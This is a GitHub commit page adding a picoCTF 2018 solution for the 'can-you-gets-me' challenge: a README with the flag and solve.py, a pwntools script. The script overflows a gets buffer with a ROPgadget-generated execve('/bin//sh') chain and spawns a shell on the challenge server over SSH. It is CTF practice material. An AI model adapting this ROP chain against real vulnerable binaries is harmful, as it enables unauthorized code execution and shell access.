Skip to content

Commit a1d32cf

Browse files
committed
Added can-you-gets-me
1 parent cb47ff2 commit a1d32cf

File tree

5 files changed

+62
-3
lines changed

5 files changed

+62
-3
lines changed

.gitmodules

+3
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,6 @@
11
[submodule "msieve"]
22
path = Cryptography/Super Safe RSA/solution/msieve
33
url = git://github.com/radii/msieve.git
4+
[submodule "Binary Exploitation/can-you-gets-me/solution/ROPgadget"]
5+
path = Binary Exploitation/can-you-gets-me/solution/ROPgadget
6+
url = https://github.com/JonathanSalwan/ROPgadget.git

Binary Exploitation/can-you-gets-me/README.md

+6-2
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,11 @@ Binary Exploitation
1111
>This is a classic gets ROP
1212
1313
## Solution
14-
Unsolved.
14+
First, find out the padding required for the buffer overflow. Then, use a rop chain to get the flag.
15+
16+
ROP chain generated by [ROPgadget](https://github.com/JonathanSalwan/ROPgadget).
17+
18+
Working solution [solve.py](solution/solve.py).
1519

1620
### Flag
17-
`flag`
21+
`picoCTF{rOp_yOuR_wAY_tO_AnTHinG_700e9c8e}`
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
#!/usr/bin/python
2+
from pwn import *
3+
4+
USER = 'Platy' # Change username accordingly.
5+
6+
padding = 'A' * 28
7+
# execve generated by ROPgadget
8+
rop_gadgets = p32(0x0806f02a) # porop_gadgets edx ; ret
9+
rop_gadgets += p32(0x080ea060) # @ .data
10+
rop_gadgets += p32(0x080b81c6) # porop_gadgets eax ; ret
11+
rop_gadgets += '/bin'
12+
rop_gadgets += p32(0x080549db) # mov dword ptr [edx], eax ; ret
13+
rop_gadgets += p32(0x0806f02a) # porop_gadgets edx ; ret
14+
rop_gadgets += p32(0x080ea064) # @ .data + 4
15+
rop_gadgets += p32(0x080b81c6) # porop_gadgets eax ; ret
16+
rop_gadgets += '//sh'
17+
rop_gadgets += p32(0x080549db) # mov dword ptr [edx], eax ; ret
18+
rop_gadgets += p32(0x0806f02a) # porop_gadgets edx ; ret
19+
rop_gadgets += p32(0x080ea068) # @ .data + 8
20+
rop_gadgets += p32(0x08049303) # xor eax, eax ; ret
21+
rop_gadgets += p32(0x080549db) # mov dword ptr [edx], eax ; ret
22+
rop_gadgets += p32(0x080481c9) # porop_gadgets ebx ; ret
23+
rop_gadgets += p32(0x080ea060) # @ .data
24+
rop_gadgets += p32(0x080de955) # porop_gadgets ecx ; ret
25+
rop_gadgets += p32(0x080ea068) # @ .data + 8
26+
rop_gadgets += p32(0x0806f02a) # porop_gadgets edx ; ret
27+
rop_gadgets += p32(0x080ea068) # @ .data + 8
28+
rop_gadgets += p32(0x08049303) # xor eax, eax ; ret
29+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
30+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
31+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
32+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
33+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
34+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
35+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
36+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
37+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
38+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
39+
rop_gadgets += p32(0x0807a86f) # inc eax ; ret
40+
rop_gadgets += p32(0x0806cc25) # int 0x80
41+
42+
exploit = padding + rop_gadgets
43+
44+
s = ssh(host='2018shell1.picoctf.com', user=USER) # Make sure ssh-keyz challenge is done first
45+
46+
py = s.run('cd /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d; ./gets')
47+
print py.recv()
48+
py.sendline(exploit)
49+
py.sendline('cat flag.txt')
50+
print py.recv()
51+
py.interactive()

README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ This CTF was done with [@pauxy](https://github.com/pauxy) and [@StopDuckRoll](ht
2424
- [echo back](Binary%20Exploitation/echo%20back) (Unsolved) - 500
2525
- [are you root?](Binary%20Exploitation/are%20you%20root%3F) (Unsolved) - 550
2626
- [gps](Binary%20Exploitation/gps) (Unsolved) - 550
27-
- [can-you-gets-me](Binary%20Exploitation/can-you-gets-me) (Unsolved) - 650
27+
- [can-you-gets-me](Binary%20Exploitation/can-you-gets-me) - 650
2828

2929
## Cryptography
3030
- [Crypto Warmup 1](Cryptography/Crypto%20Warmup%201) - 75

0 commit comments

Comments
 (0)